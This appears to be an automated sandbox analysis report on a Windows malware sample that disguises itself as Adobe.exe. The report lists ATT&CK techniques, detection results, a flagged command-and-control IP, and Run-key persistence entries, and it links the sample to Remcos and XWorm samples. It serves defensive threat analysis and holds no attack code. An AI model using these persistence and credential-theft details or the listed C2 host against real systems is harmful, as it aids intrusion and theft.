                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7892, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 8000, type: MEMORYSTR
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: cmd.exe2_2_0040569A

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid Accounts21
                Native API                		1
                DLL Side-Loading                		1
                DLL Side-Loading                		1
                Disable or Modify Tools                		2
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services11
                Archive Collected Data                		12
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts12
                Command and Scripting Interpreter                		1
                Windows Service                		1
                Bypass User Account Control                		1
                Deobfuscate/Decode Files or Information                		111
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		2
                Encrypted Channel                		Exfiltration Over Bluetooth1
                Defacement
                Email AddressesDNS ServerDomain Accounts2
                Service Execution                		11
                Registry Run Keys / Startup Folder                		1
                Access Token Manipulation                		3
                Obfuscated Files or Information                		2
                Credentials in Registry                		1
                System Service Discovery                		SMB/Windows Admin Shares1
                Email Collection                		1
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
                Windows Service                		12
                Software Packing                		3
                Credentials In Files                		3
                File and Directory Discovery                		Distributed Component Object Model111
                Input Capture                		2
                Non-Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script222
                Process Injection                		1
                DLL Side-Loading                		LSA Secrets38
                System Information Discovery                		SSH3
                Clipboard Data                		12
                Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts11
                Registry Run Keys / Startup Folder                		1
                Bypass User Account Control                		Cached Domain Credentials131
                Security Software Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
                Masquerading                		DCSync31
                Virtualization/Sandbox Evasion                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job31
                Virtualization/Sandbox Evasion                		Proc Filesystem4
                Process Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                Access Token Manipulation                		/etc/passwd and /etc/shadow1
                Application Window Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron222
                Process Injection                		Network Sniffing1
                System Owner/User Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1534674 Sample: rSOD219ISF-____.scr.exe Startdate: 16/10/2024 Architecture: WINDOWS Score: 100 54 geoplugin.net 2->54 68 Suricata IDS alerts for network traffic 2->68 70 Found malware configuration 2->70 72 Malicious sample detected (through community Yara rule) 2->72 74 9 other signatures 2->74 10 rSOD219ISF-____.scr.exe 3 2->10         started        14 Adobe.exe 2->14         started        16 Adobe.exe 2 2->16         started        18 Adobe.exe 2->18         started        signatures3 process4 file5 52 C:\Users\user\...\rSOD219ISF-____.scr.exe.log, ASCII 10->52 dropped 88 Contains functionality to bypass UAC (CMSTPLUA) 10->88 90 Contains functionalty to change the wallpaper 10->90 92 Contains functionality to steal Chrome passwords or cookies 10->92 96 3 other signatures 10->96 20 rSOD219ISF-____.scr.exe 2 4 10->20         started        94 Injects a PE file into a foreign processes 14->94 24 Adobe.exe 14->24         started        26 Adobe.exe 14->26         started        28 Adobe.exe 16->28         started        30 Adobe.exe 18->30         started        signatures6 process7 file8 48 C:\ProgramData\Adobe\Adobe.exe, PE32 20->48 dropped 50 C:\ProgramData\...\Adobe.exe:Zone.Identifier, ASCII 20->50 dropped 78 Creates autostart registry keys with suspicious names 20->78 80 Drops executable to a common third party application directory 20->80 32 Adobe.exe 3 20->32         started        signatures9 process10 signatures11 60 Multi AV Scanner detection for dropped file 32->60 62 Tries to steal Mail credentials (via file registry) 32->62 64 Machine Learning detection for dropped file 32->64 66 Injects a PE file into a foreign processes 32->66 35 Adobe.exe 3 14 32->35         started        process12 dnsIp13 56 104.250.180.178, 49733, 49736, 7902 M247GB United States 35->56 58 geoplugin.net 178.237.33.50, 49737, 80 ATOM86-ASATOM86NL Netherlands 35->58 76 Maps a DLL or memory area into another process 35->76 39 Adobe.exe 1 35->39         started        42 Adobe.exe 1 35->42         started        44 Adobe.exe 2 35->44         started        46 Adobe.exe 35->46         started        signatures14 process15 signatures16 82 Tries to steal Instant Messenger accounts or passwords 39->82 84 Tries to steal Mail credentials (via file / registry access) 39->84 86 Tries to harvest and steal browser information (history, passwords, etc) 42->86

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                rSOD219ISF-____.scr.exe26%ReversingLabs
                rSOD219ISF-____.scr.exe100%Joe Sandbox ML

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\ProgramData\Adobe\Adobe.exe100%Joe Sandbox ML
                C:\ProgramData\Adobe\Adobe.exe26%ReversingLabs

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.fontbureau.com/designersG0%URL Reputationsafe
                http://www.imvu.comr0%URL Reputationsafe
                http://www.fontbureau.com/designers/?0%URL Reputationsafe
                http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                http://www.fontbureau.com/designers?0%URL Reputationsafe
                http://www.tiro.com0%URL Reputationsafe
                http://www.fontbureau.com/designers0%URL Reputationsafe
                https://deff.nelreports.net/api/report?cat=msn0%URL Reputationsafe
                http://www.goodfont.co.kr0%URL Reputationsafe
                http://www.sajatypeworks.com0%URL Reputationsafe
                http://www.typography.netD0%URL Reputationsafe
                http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                http://geoplugin.net/json.gp/C0%URL Reputationsafe
                http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                https://login.yahoo.com/config/login0%URL Reputationsafe
                http://www.fonts.com0%URL Reputationsafe
                http://www.sandoll.co.kr0%URL Reputationsafe
                http://www.urwpp.deDPlease0%URL Reputationsafe
                http://www.zhongyicts.com.cn0%URL Reputationsafe
                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                http://www.sakkal.com0%URL Reputationsafe
                https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg0%URL Reputationsafe
                http://www.fontbureau.com0%URL Reputationsafe
                http://www.imvu.com0%URL Reputationsafe
                http://www.carterandcone.coml0%URL Reputationsafe
                http://geoplugin.net/json.gp0%URL Reputationsafe
                http://www.fontbureau.com/designers/cabarga.htmlN0%URL Reputationsafe
                http://www.founder.com.cn/cn0%URL Reputationsafe
                http://www.fontbureau.com/designers/frere-user.html0%URL Reputationsafe
                http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                http://www.fontbureau.com/designers80%URL Reputationsafe
                http://www.ebuddy.com0%URL Reputationsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                geoplugin.net
                		178.237.33.50
                		truefalse
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  104.250.180.178true
                    		unknown
                    http://geoplugin.net/json.gpfalse
                    • URL Reputation: safe
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://www.fontbureau.com/designersGrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    http://www.imvu.comrAdobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    http://www.fontbureau.com/designers/?rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    http://www.founder.com.cn/cn/bTherSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Wbhv96DB.tmp.5.drfalse
                      		unknown
                      https://ow1.res.office365.com/apc/trans.gif?29331761644ba41ebf9abf96ecc6fbadbhv96DB.tmp.5.drfalse
                        		unknown
                        http://www.fontbureau.com/designers?rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://aefd.nelreports.net/api/report?cat=bingthbhv96DB.tmp.5.drfalse
                          		unknown
                          http://geoplugin.net/json.gp.Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?66601c3b572f284b9da07fccbhv96DB.tmp.5.drfalse
                              		unknown
                              http://www.tiro.comrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.fontbureau.com/designersrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.nirsoft.netAdobe.exe, 00000005.00000002.1828485865.00000000007C4000.00000004.00000010.00020000.00000000.sdmpfalse
                                		unknown
                                https://aefd.nelreports.net/api/report?cat=bingaotakbhv96DB.tmp.5.drfalse
                                  		unknown
                                  https://deff.nelreports.net/api/report?cat=msnbhv96DB.tmp.5.drfalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BLUr5a&Frbhv96DB.tmp.5.drfalse
                                    		unknown
                                    http://www.goodfont.co.krrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?fc66b8a78ab7a1394f56e742bhv96DB.tmp.5.drfalse
                                      		unknown
                                      https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BL2r8e&Frbhv96DB.tmp.5.drfalse
                                        		unknown
                                        http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.comAdobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                          		unknown
                                          https://rum8.perf.linkedin.com/apc/trans.gif?fe61b216ccbcc1bca02cb20f2e94fb51bhv96DB.tmp.5.drfalse
                                            		unknown
                                            http://www.sajatypeworks.comrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.typography.netDrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://www.google.comAdobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                              		unknown
                                              http://www.founder.com.cn/cn/cTherSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?a9bddedb22fa9ee1d455a5d5a89b950cbhv96DB.tmp.5.drfalse
                                                		unknown
                                                http://www.galapagosdesign.com/staff/dennis.htmrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://geoplugin.net/json.gp/CrSOD219ISF-____.scr.exe, 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, rSOD219ISF-____.scr.exe, 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Adobe.exe, 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                https://maps.windows.com/windows-app-web-linkbhv96DB.tmp.5.drfalse
                                                  		unknown
                                                  https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&platbhv96DB.tmp.5.drfalse
                                                    		unknown
                                                    http://www.galapagosdesign.com/DPleaserSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?60caefc8ca640843bccad421cfaadcc8bhv96DB.tmp.5.drfalse
                                                      		unknown
                                                      https://login.yahoo.com/config/loginAdobe.exefalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.fonts.comrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.sandoll.co.krrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.urwpp.deDPleaserSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.nirsoft.net/Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                        		unknown
                                                        http://www.zhongyicts.com.cnrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namerSOD219ISF-____.scr.exe, 00000000.00000002.1731455091.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, rSOD219ISF-____.scr.exe, 00000000.00000002.1731455091.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000003.00000002.1743546290.00000000031E1000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000003.00000002.1743546290.0000000003274000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000009.00000002.1850620884.0000000002B7D000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000009.00000002.1850620884.0000000002B0B000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 0000000E.00000002.1936073198.00000000032EB000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 0000000E.00000002.1936073198.0000000003361000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000011.00000002.2020151696.000000000369B000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000011.00000002.2020151696.000000000370D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.sakkal.comrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://ow1.res.office365.com/apc/trans.gif?17a81fd4cdc7fc73a2b4cf5b67ff816dbhv96DB.tmp.5.drfalse
                                                          		unknown
                                                          https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?f67d919da1a9ba8a5672367dbhv96DB.tmp.5.drfalse
                                                            		unknown
                                                            https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svgbhv96DB.tmp.5.drfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            https://www.office.com/bhv96DB.tmp.5.drfalse
                                                              		unknown
                                                              http://www.apache.org/licenses/LICENSE-2.0rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		unknown
                                                                http://www.fontbureau.comrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://ow1.res.office365.com/apc/trans.gif?2f153f40414852a5ead98f4103d563a8bhv96DB.tmp.5.drfalse
                                                                  		unknown
                                                                  https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?a176b93f037f93b5720edf68bhv96DB.tmp.5.drfalse
                                                                    		unknown
                                                                    https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?909b77fc750668f20e07288ff0ed43e2bhv96DB.tmp.5.drfalse
                                                                      		unknown
                                                                      http://geoplugin.net/json.gplAdobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		unknown
                                                                        https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?c9b5e9d2b836931c8ddd4e8dbhv96DB.tmp.5.drfalse
                                                                          		unknown
                                                                          https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?18b635b804a8d6ad0a1fa437bhv96DB.tmp.5.drfalse
                                                                            		unknown
                                                                            http://www.imvu.comAdobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                            • URL Reputation: safe
                                                                            		unknown
                                                                            https://aefd.nelreports.net/api/report?cat=wsbbhv96DB.tmp.5.drfalse
                                                                              		unknown
                                                                              https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?467894188c5d788807342326bhv96DB.tmp.5.drfalse
                                                                                		unknown
                                                                                http://www.carterandcone.comlrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                • URL Reputation: safe
                                                                                		unknown
                                                                                https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?1c89d9658c6af83a02d98b03bhv96DB.tmp.5.drfalse
                                                                                  		unknown
                                                                                  http://www.fontbureau.com/designers/cabarga.htmlNrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  http://www.founder.com.cn/cnrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  http://www.fontbureau.com/designers/frere-user.htmlrSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  https://aefd.nelreports.net/api/report?cat=bingaotbhv96DB.tmp.5.drfalse
                                                                                    		unknown
                                                                                    https://login.windows.net/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3-4102-aebhv96DB.tmp.5.drfalse
                                                                                      		unknown
                                                                                      https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?74b620657ac570f7999e6ad7bhv96DB.tmp.5.drfalse
                                                                                        		unknown
                                                                                        http://www.jiyu-kobo.co.jp/rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown
                                                                                        http://www.fontbureau.com/designers8rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown
                                                                                        https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-BL2r8e&FrontEnd=AFDbhv96DB.tmp.5.drfalse
                                                                                          		unknown
                                                                                          https://aefd.nelreports.net/api/report?cat=bingrmsbhv96DB.tmp.5.drfalse
                                                                                            		unknown
                                                                                            https://rum8.perf.linkedin.com/apc/trans.gif?690daf9375f3d267a5b7b08fbc174993bhv96DB.tmp.5.drfalse
                                                                                              		unknown
                                                                                              https://www.google.com/accounts/serviceloginAdobe.exefalse
                                                                                                		unknown
                                                                                                https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?cf2d8bf3b68a3e37eef992d5bhv96DB.tmp.5.drfalse
                                                                                                  		unknown
                                                                                                  https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3bhv96DB.tmp.5.drfalse
                                                                                                    		unknown
                                                                                                    https://ow1.res.office365.com/apc/trans.gif?a50e32ebd978eda4d21928b1dbc78135bhv96DB.tmp.5.drfalse
                                                                                                      		unknown
                                                                                                      https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?c6931b9e725f95cf9c20849dd6498c59bhv96DB.tmp.5.drfalse
                                                                                                        		unknown
                                                                                                        http://www.ebuddy.comAdobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                        • URL Reputation: safe
                                                                                                        		unknown

                                                                                                        World Map of Contacted IPs

                                                                                                        • No. of IPs < 25%
                                                                                                        • 25% < No. of IPs < 50%
                                                                                                        • 50% < No. of IPs < 75%
                                                                                                        • 75% < No. of IPs

                                                                                                        Public IPs

                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                        104.250.180.178
                                                                                                        		unknownUnited States
                                                                                                        		9009M247GBtrue
                                                                                                        178.237.33.50
                                                                                                        		geoplugin.netNetherlands
                                                                                                        		8455ATOM86-ASATOM86NLfalse

                                                                                                        General Information

                                                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                                                        Analysis ID:1534674
                                                                                                        Start date and time:2024-10-16 05:31:07 +02:00
                                                                                                        Joe Sandbox product:CloudBasic
                                                                                                        Overall analysis duration:0h 11m 33s
                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                        Report type:full
                                                                                                        Cookbook file name:default.jbs
                                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                        Number of analysed new started processes analysed:20
                                                                                                        Number of new started drivers analysed:0
                                                                                                        Number of existing processes analysed:0
                                                                                                        Number of existing drivers analysed:0
                                                                                                        Number of injected processes analysed:0
                                                                                                        Technologies:
                                                                                                        • HCA enabled
                                                                                                        • EGA enabled
                                                                                                        • AMSI enabled
                                                                                                        Analysis Mode:default
                                                                                                        Analysis stop reason:Timeout
                                                                                                        Sample name:rSOD219ISF-____.scr.exe
                                                                                                        Detection:MAL
                                                                                                        Classification:mal100.rans.phis.troj.spyw.expl.evad.winEXE@26/7@1/2
                                                                                                        EGA Information:
                                                                                                        • Successful, ratio: 100%
                                                                                                        HCA Information:
                                                                                                        • Successful, ratio: 99%
                                                                                                        • Number of executed functions: 287
                                                                                                        • Number of non-executed functions: 252
                                                                                                        Cookbook Comments:
                                                                                                        • Found application associated with file extension: .exe
                                                                                                        • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                        Warnings

                                                                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                        • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                        • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                        • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                        • VT rate limit hit for: rSOD219ISF-____.scr.exe

                                                                                                        Simulations

                                                                                                        Behavior and APIs

                                                                                                        TimeTypeDescription
                                                                                                        04:32:07AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRK "C:\ProgramData\Adobe\Adobe.exe"
                                                                                                        04:32:15AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRK "C:\ProgramData\Adobe\Adobe.exe"
                                                                                                        04:32:23AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRK "C:\ProgramData\Adobe\Adobe.exe"
                                                                                                        23:32:02API Interceptor19x Sleep call for process: rSOD219ISF-____.scr.exe modified
                                                                                                        23:32:04API Interceptor4804156x Sleep call for process: Adobe.exe modified

                                                                                                        Joe Sandbox View / Context

                                                                                                        IPs

                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                        104.250.180.178rWWTLCLtoUSADCL.scr.exeGet hashmaliciousXWormBrowse
                                                                                                          ttCOg61bOg.exeGet hashmaliciousRemcosBrowse
                                                                                                            SKM_C364e24092511300346565787689900142344656767788755634232343456768953334466870.scr.exeGet hashmaliciousRemcosBrowse
                                                                                                              ISF #U8a02#U8259#U55ae - KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exeGet hashmaliciousXWormBrowse
                                                                                                                ISF 10+2 - SO - SO 4042 - ROTHENBERGER USA, INC#U51fa#U8ca8 TWSE0211390.scr.exeGet hashmaliciousRemcosBrowse
                                                                                                                  F41355 SO 7670 HBL EXPRESS RELEASEpdf.pdf.scr.exeGet hashmaliciousXWormBrowse
                                                                                                                    DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exeGet hashmaliciousXWormBrowse
                                                                                                                      6122.scr.exeGet hashmaliciousRemcosBrowse
                                                                                                                        6122.scr.exeGet hashmaliciousRemcosBrowse
                                                                                                                          DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exeGet hashmaliciousXWormBrowse
                                                                                                                            178.237.33.501729022872b8fae641a98b236571422197a34480f404f44291e36642b114aee58fc24f5bb1699.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            1729014968354a73a6dcba5a43f0dc2c4d615a55b43a024f5a7b8361ffa956895f39b62184812.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            KULI500796821_PO20000003.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            na.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            Untitled_15-10-04.xlsGet hashmaliciousRemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            Image_Attachments.xlsGet hashmaliciousRemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            rComandaKOMARONTRADESRL435635Lukketid.batGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            remcos.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            Accounts.exeGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                                                            • geoplugin.net/json.gp
                                                                                                                            na.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                                                            • geoplugin.net/json.gp

                                                                                                                            Domains

                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                            geoplugin.net1729022872b8fae641a98b236571422197a34480f404f44291e36642b114aee58fc24f5bb1699.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                            • 178.237.33.50
